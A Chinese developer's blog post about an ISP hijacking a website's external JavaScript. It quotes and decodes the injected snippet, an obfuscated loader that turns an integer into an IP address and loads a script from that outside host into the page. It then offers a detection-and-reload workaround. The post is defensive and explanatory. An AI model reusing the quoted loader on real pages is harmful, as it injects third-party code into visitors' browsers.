被运营商劫持js的解决办法

    前言:一直以来有一个问题困扰着我,就是网页的js被人替换掉,然后造成自己辛辛苦苦写的代码,变成了bug代码,顾客又说点不动啦,无奈之下,自己也尝试过工信部投诉,但是投诉没多久,牛皮癣出来了,逼着我甚至把一些重要的需要外部jquery代码变成原生js代码,最近是公司的旺季,客服最近又接到好几个客户反应问题,为了暂时解决这个问题,就临时想了一个办法解决。

    一、首先看一下我的js被替换成什么样子了

     

    上图是第1个jqeury被替换了,如果有多个外部js,那么每次大概有5分之1的概率被劫持1个随机的外部js。

!function(e, t, n, o, r, i, a, c){
    c = function(e, t, n) {
        for (t = e % 256, n = 3; 0 < n; n--) t = (e = Math.floor(e / 256)) % 256 + "." + t;
        return t
    }(2095620274),
    (a = function(e){ r = t.createElement(n),i = t.getElementsByTagName(n)[0], r.src = "//" + e, 
    	i.parentNode.insertBefore(r, i)
    })(o + (0 < o.indexOf("?") ? "&": "?") + "_t" + (new Date).getTime() + "=0i"), a(c + "/v1/a/?u=3236477")
}(window, document, "script", "我的域名/static/help/js/jquery18min.js?t=23432423234");

    上面是被替换的jquery的代码

    解释:

         外层自执行函数:
  e = window
  t = document
  n = script
  o = url //自己的js的地址
  内部c函数 : 主方法主要根据e参数是生成ip地址,给第三个参数用
  e = 2095620274 = ip地址:124.232.160.178
  t = a = () 主要执行函数  //主要代码,在第一个script标签前面创建被劫持的url的script标签,有屁用。

  n = t(n) 等于执行t方法,只是url参数被替换成了/v1/a/?u=3236477. 

        就是在生产了2个script的dom,其中一个是去请求带了时间戳的自己网站的被替换的js,第二个是创建劫持方的js。所以就有了上面的3个script标签。

        问题:被劫持的js,采用这种方式生成的dom,会打乱加载顺序被,所以,经常出现页面无响应的问题。即xxx is undifiend,各种随机出现。(假如这个劫持代码用document.write()应该没问题。)

   二、解决办法

        在最后一个外部的js的标签处增加一个判断,如果被这个ip劫持了,(我们湖南地区被劫持都是这个ip,我回老家和在长沙都是它),就执行window.location.href = window.location.href

    具体加的代码如下:

<script type="text/javascript">
	function sfdianxinjiechi(){
		var ss = document.getElementsByTagName("script");
		var sfjc = false;  //是否劫持
		for (var i = 0; i < ss.length; i++) {
			if(ss[i].src.indexOf("124.232.160.178/v1/a/")>0){
				sfjc = true;
			}
		}
		return sfjc;
	};
	if(sfdianxinjiechi()){
		//最好再加上一段cookie计数的逻辑,比如一个1分钟的cookie的key值中,判断此情况刷新次数,设置个上限。
		//如果不这样,万一每次都被劫持的话,那么直接页面无限刷了,直接被自己并发攻击了。。。
		setTimeout(function(){
			//alret("电信ip:124.232.160.178劫持你的网络,请打电话投诉!");
			window.location.href = window.location.href;
		},200);
	};
</script>

结语: 期待运营商优化劫持的js代码,减少劫持的频率。

猜你喜欢

转载自blog.csdn.net/shuixiou1/article/details/80659712
今日推荐